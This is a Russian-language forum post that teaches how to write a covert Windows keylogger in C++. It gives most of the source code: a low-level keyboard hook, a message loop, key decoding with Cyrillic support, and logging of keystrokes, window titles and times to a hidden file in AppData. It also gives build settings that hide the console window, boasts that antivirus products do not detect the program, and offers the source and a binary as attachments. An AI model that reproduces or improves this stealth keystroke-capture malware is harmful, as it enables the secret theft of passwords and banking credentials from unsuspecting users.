Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Привет всем !
Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...
Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...
Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется !
Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.
Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:
1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;
2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.
3. Антивирусы никак не реагируют, т.е. считают что так и надо.
4.Сколько-же время на это ушло ?
Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...
Итак перейдём к основной части этой статьи:
1.Постановка задачи:
Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:
Безымянный — Блокнот: English: M: Fri May 12 20:38:39 2017
Безымянный — Блокнот: English: ,: Fri May 12 20:38:41 2017
Безымянный — Блокнот: Russian: : [CAPS]: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : И: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : е: Fri May 12 20:38:50 2017
2.Основная идея написания таких программ:
Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.
В виндовсе есть SetWindowsHookEx, которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.
Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.
Как это сделать, пример:
Код:
int main(int argc, _TCHAR* argv[])
{
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
hookProc, hInstance, 0);
msgLoop();
return 0;
}
hookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.
msgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:
Код:
void msgLoop()
{
while (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.
Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.
Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage.
Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:
Код:
LRESULT CALLBACK hookProc(int nCode,
WPARAM wParam, LPARAM lParam)
{
if (wParam == WM_KEYDOWN)
{
HKL Lang_Keyboard;
GetActiveKb (Lang_Keyboard); //Получение текущей раскладки.
int CodeKeyboard = (int) Lang_Keyboard;
p = (PKBDLLHOOKSTRUCT)(lParam);
sc = MapVirtualKey(p->vkCode, 0);
sc <<= 16;
if (!(p->vkCode <= 32))
{
sc |= 0x1 << 24;
}
GetKeyNameTextA(sc, keyNameBuff, 16);
myKey = keyNameBuff;
if (myKey == "Space") {
writeToLog("[SPACE]");
}
else if (myKey == "Right Alt") {
writeToLog("[R ALT]");
}
else if (myKey == "Enter") {
writeToLog("[ENTER]");
}
else if (myKey == "Left Alt") {
writeToLog("[L ALT]");
}
else if (myKey == "Tab") {
writeToLog("[TAB]");
}
else if (myKey == "Backspace") {
writeToLog("[Backspace]");
}
else if (myKey == "Caps Lock") {
writeToLog("[CAPS]");
}
else if (myKey == "Delete") {
writeToLog("[DEL]");
}
else if (myKey == "Right Shift") {
writeToLog("[R SHIFT]");
}
else if (myKey == "Shift") {
writeToLog("[L SHIFT]");
}
else if (myKey == "Ctrl") {
writeToLog("[L CTRL]");
}
else if (myKey == "Right Ctrl") {
writeToLog("[R CTRL]");
}
else {
if (CodeKeyboard == 0x4190419) { //Русская раскладка
//*************************************************************************************************
if (isCaps() == 1) {
myKey = GetSymbolRu (myKey);
writeToLog(myKey);
}
else {
std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
myKey = GetSymbolRu (myKey);
writeToLog(myKey);
}
//*************************************************************************************************
} else
{
if (isCaps() == 1) {
writeToLog(myKey);
}
else {
std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
writeToLog(myKey);
}
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
Расскажу идею, саму программу можете посмотреть во вложении:
1.Начнём с прототипа нашей подпрограммы:
LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)
wParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:
Код:
if (wParam == WM_KEYDOWN)
2. Далее прям по пунктам что нужно сделать:
2.1. Получить раскладку клавиатуры;
2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
2.3. Ну в общем получить наш символ.
Всё выше названное делает этот код:
Код:
HKL Lang_Keyboard;
GetActiveKb (Lang_Keyboard); //Получение текущей раскладки.
int CodeKeyboard = (int) Lang_Keyboard;
p = (PKBDLLHOOKSTRUCT)(lParam);
sc = MapVirtualKey(p->vkCode, 0);
sc <<= 16;
if (!(p->vkCode <= 32))
{
sc |= 0x1 << 24;
}
GetKeyNameTextA(sc, keyNameBuff, 16);
GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.
Имя программы, с которой работает пользователь, можно получить так:
Код:
GetWindowTextA(hwnd, title, 100);
GetWindowTextA(hwnd, ntitle, 100); ///pars
Время так:
Код:
// Gettime
time_t seconds = time(NULL);
tm* timeinfo = localtime(&seconds);
Далее мы можем уже записать это в лог, примерно так:
Код:
ofstream log(logName, ios::app);
log << title;
log << ": English";
log << ": " << s;
log << ": " << asctime(timeinfo) << endl;
logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:
Код:
strcpy(logName, getenv("APPDATA")); // Get APPDATA folder
strcat(logName, "log.log");
НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ ?
Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:
Код:
string _eng = "1234567890~!@#$%^&qwertyuiop[]asdfghjkl;'zxcvbnm,./QWERTYUIOP[]ASDFGHJKL:\"|ZXCVBNM<>?";
char _rus [256] = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";
Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:
Код:
string GetSymbolRu (string Key)
{
int Number = 0;
string Rezult;
Number = _eng.find(Key);
if (Number != -1)
{
char * tmp = new char [256]; // инициализируем дополнительный массив
CharToOemA(_rus88, tmp); // преобразовываем
delete [] tmp; // удаляем дополнительный массив
Rezult = Rezult + _rus88[Number];
return Rezult; // Присвоили результат
} else {
return Key;
}
}
Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)
НО ПАРА МОМЕНТОВ:
Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:
Код:
char * tmp = new char [256]; // инициализируем дополнительный массив
CharToOemA(_rus88, tmp); // преобразовываем
delete [] tmp; // удаляем дополнительный массив
Ну в общем-то и всё, далее просто в зависимости от раскладки делаете нужный вывод в файл:
Код:
if (CodeKeyboard == 0x4190419) { //Russia
log << title;
log << ": Russian";
log << ": " << ReplaceResult(s);
log << ":^^^ " << s;
log << ": " << asctime(timeinfo) << endl;
}
else if (CodeKeyboard == 0x4090409 ) { //Eng
log << title;
log << ": English";
log << ": " << s;
log << ": " << asctime(timeinfo) << endl;
}
Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:
Код:
if (myKey == "Space") {
writeToLog("[SPACE]");
}
else if (myKey == "Right Alt") {
writeToLog("[R ALT]");
}
else if (myKey == "Enter") {
writeToLog("[ENTER]");
}
else if (myKey == "Left Alt") {
writeToLog("[L ALT]");
}
else if (myKey == "Tab") {
writeToLog("[TAB]");
}
else if (myKey == "Backspace") {
writeToLog("[Backspace]");
}
else if (myKey == "Caps Lock") {
writeToLog("[CAPS]");
}
else if (myKey == "Delete") {
writeToLog("[DEL]");
}
else if (myKey == "Right Shift") {
writeToLog("[R SHIFT]");
}
else if (myKey == "Shift") {
writeToLog("[L SHIFT]");
}
else if (myKey == "Ctrl") {
writeToLog("[L CTRL]");
}
else if (myKey == "Right Ctrl") {
writeToLog("[R CTRL]");
Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)
Ах-да чуть не забыл:
1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):
(Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";
(Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok
2. Я использовал консольный проект, так легче дебажить, поэтому ещё:
Как убрать консоль:
Жмем Project => Properties (или Alt+F7).
Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup.
Рисунок 1. Настройка проекта в Visual Studio для отключения консольного окна - установка точки входа.
Linker => System меняем SubSystem на Windows (/SUBSYSTEM:WINDOWS).
Рисунок 2. Настройка проекта в Visual Studio для отключения консольного окна.
Все и всё. Теперь собираем проект и запускаем. Консольное окно должно исчесзнуть.
Задавайте вопросы.
И ещё что во вложении:
Sorec.rar - Просто голые сорцы (Там их два), для копипасты и анализа.
KeyLogger_exe.rar - Для теста бинарник (пароль 111).
KeyLogger.rar - Проект Visual Studio
ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:
1)Нужно-ли его развивать, сейчас там вот-что:
- Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;
- В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.
- Можно добавить поддержку скриншётера.
2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.
УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ ! :)
Вложения
Последнее редактирование: